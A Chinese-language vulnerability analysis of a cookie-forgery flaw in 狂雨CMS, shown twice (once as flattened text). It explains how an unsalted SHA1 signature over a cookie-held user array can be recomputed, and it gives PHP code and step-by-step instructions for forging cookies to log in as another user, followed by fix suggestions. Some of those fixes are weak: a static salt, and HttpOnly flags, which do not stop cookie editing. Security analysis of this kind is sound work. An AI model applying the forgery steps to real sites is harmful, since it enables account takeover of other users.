狂雨cms前台cookie伪造漏洞
字数 1222 2025-08-03 16:42:38

狂雨CMS前台Cookie伪造漏洞分析与利用

漏洞概述

狂雨CMS存在一个前台Cookie伪造漏洞,攻击者可以通过构造特定的Cookie值来伪造任意用户身份,实现账户接管。该漏洞源于系统对用户身份验证的签名机制存在缺陷,导致签名可以被伪造。

漏洞分析

关键代码路径

  1. 用户基础控制器application/common/controller/UserBase.php

    • initialize()方法定义了UID的获取方式
  2. 登录验证函数application/common.php中的is_login()方法

  3. 数据签名函数data_auth_sign()方法

漏洞原理

  1. UID获取机制

    • 系统通过is_login()方法获取当前用户的UID
    • 默认情况下($type='user'),从Cookie中获取$user$user_sign变量
  2. 验证流程

    if ($user) {
        return $user_sign == data_auth_sign($user) ? $user['uid'] : 0;
    }
    
    • 系统比较$user_signdata_auth_sign($user)的值
    • 如果相等,则返回$user['uid']作为当前用户ID
  3. 签名函数缺陷

    function data_auth_sign($data) {
        if(!is_array($data)) {
            $data = (array)$data;
        }
        ksort($data);
        $code = http_build_query($data);
        $sign = sha1($code);
        return $sign;
    }
    
    • 签名过程完全可预测:数组转换 → 键名排序 → URL编码 → SHA1加密
    • 由于算法公开且无随机因素,攻击者可自行计算任意数据的签名

漏洞关键点

  1. $user$user_sign完全通过Cookie控制
  2. data_auth_sign()函数的输出完全取决于输入,无随机因素
  3. 通过控制$user数组中的uid字段,可指定任意用户ID
  4. 通过计算对应$user数组的签名,可伪造合法$user_sign

漏洞复现步骤

准备工作

  1. 在前台注册任意用户并登录
  2. 观察响应中的Set-Cookie头,获取以下两个值:
    • lf_user_auth - 对应$user变量
    • user_auth_sign - 对应$user_sign变量

攻击流程

  1. 复制签名函数

    function data_auth_sign($data) {
        if(!is_array($data)) {
            $data = (array)$data;
        }
        ksort($data);
        $code = http_build_query($data);
        $sign = sha1($code);
        return $sign;
    }
    
  2. 构造恶意数组

    $malicious_user = array(
        "uid" => "2",  // 目标用户ID
        "username" => "test"  // 任意用户名,需与Cookie中保持一致
    );
    
  3. 生成伪造签名

    $forged_sign = data_auth_sign($malicious_user);
    
  4. 修改Cookie

    • lf_user_auth中的uid参数修改为目标用户ID(如2)
    • user_auth_sign替换为上面生成的$forged_sign
  5. 发送请求

    • 携带修改后的Cookie访问系统
    • 系统将认为你是目标用户(uid=2)

漏洞修复建议

  1. 加强签名机制

    • 在签名中加入随机盐值(salt)
    • 示例修改:
      function data_auth_sign($data) {
          $salt = '随机盐值'; // 应使用强随机数
          if(!is_array($data)) {
              $data = (array)$data;
          }
          ksort($data);
          $code = http_build_query($data) . $salt;
          return sha1($code);
      }
      
  2. 限制Cookie修改

    • 对重要Cookie启用HttpOnly和Secure标志
    • 考虑使用服务端Session存储代替部分Cookie数据
  3. 增加二次验证

    • 对敏感操作要求密码或二次验证
    • 记录异常登录行为

总结

该漏洞利用狂雨CMS身份验证签名机制的可预测性,允许攻击者通过构造特定Cookie来冒充任意用户。由于签名算法公开且无随机因素,攻击者可以轻松伪造合法签名。建议开发者立即修复签名机制,并考虑实施多层次的防御措施。

狂雨CMS前台Cookie伪造漏洞分析与利用 漏洞概述 狂雨CMS存在一个前台Cookie伪造漏洞,攻击者可以通过构造特定的Cookie值来伪造任意用户身份,实现账户接管。该漏洞源于系统对用户身份验证的签名机制存在缺陷,导致签名可以被伪造。 漏洞分析 关键代码路径 用户基础控制器 : application/common/controller/UserBase.php initialize() 方法定义了UID的获取方式 登录验证函数 : application/common.php 中的 is_login() 方法 数据签名函数 : data_auth_sign() 方法 漏洞原理 UID获取机制 : 系统通过 is_login() 方法获取当前用户的UID 默认情况下( $type='user' ),从Cookie中获取 $user 和 $user_sign 变量 验证流程 : 系统比较 $user_sign 和 data_auth_sign($user) 的值 如果相等,则返回 $user['uid'] 作为当前用户ID 签名函数缺陷 : 签名过程完全可预测:数组转换 → 键名排序 → URL编码 → SHA1加密 由于算法公开且无随机因素,攻击者可自行计算任意数据的签名 漏洞关键点 $user 和 $user_sign 完全通过Cookie控制 data_auth_sign() 函数的输出完全取决于输入,无随机因素 通过控制 $user 数组中的 uid 字段,可指定任意用户ID 通过计算对应 $user 数组的签名,可伪造合法 $user_sign 漏洞复现步骤 准备工作 在前台注册任意用户并登录 观察响应中的Set-Cookie头,获取以下两个值: lf_user_auth - 对应 $user 变量 user_auth_sign - 对应 $user_sign 变量 攻击流程 复制签名函数 : 构造恶意数组 : 生成伪造签名 : 修改Cookie : 将 lf_user_auth 中的 uid 参数修改为目标用户ID(如2) 将 user_auth_sign 替换为上面生成的 $forged_sign 发送请求 : 携带修改后的Cookie访问系统 系统将认为你是目标用户(uid=2) 漏洞修复建议 加强签名机制 : 在签名中加入随机盐值(salt) 示例修改: 限制Cookie修改 : 对重要Cookie启用HttpOnly和Secure标志 考虑使用服务端Session存储代替部分Cookie数据 增加二次验证 : 对敏感操作要求密码或二次验证 记录异常登录行为 总结 该漏洞利用狂雨CMS身份验证签名机制的可预测性,允许攻击者通过构造特定Cookie来冒充任意用户。由于签名算法公开且无随机因素,攻击者可以轻松伪造合法签名。建议开发者立即修复签名机制,并考虑实施多层次的防御措施。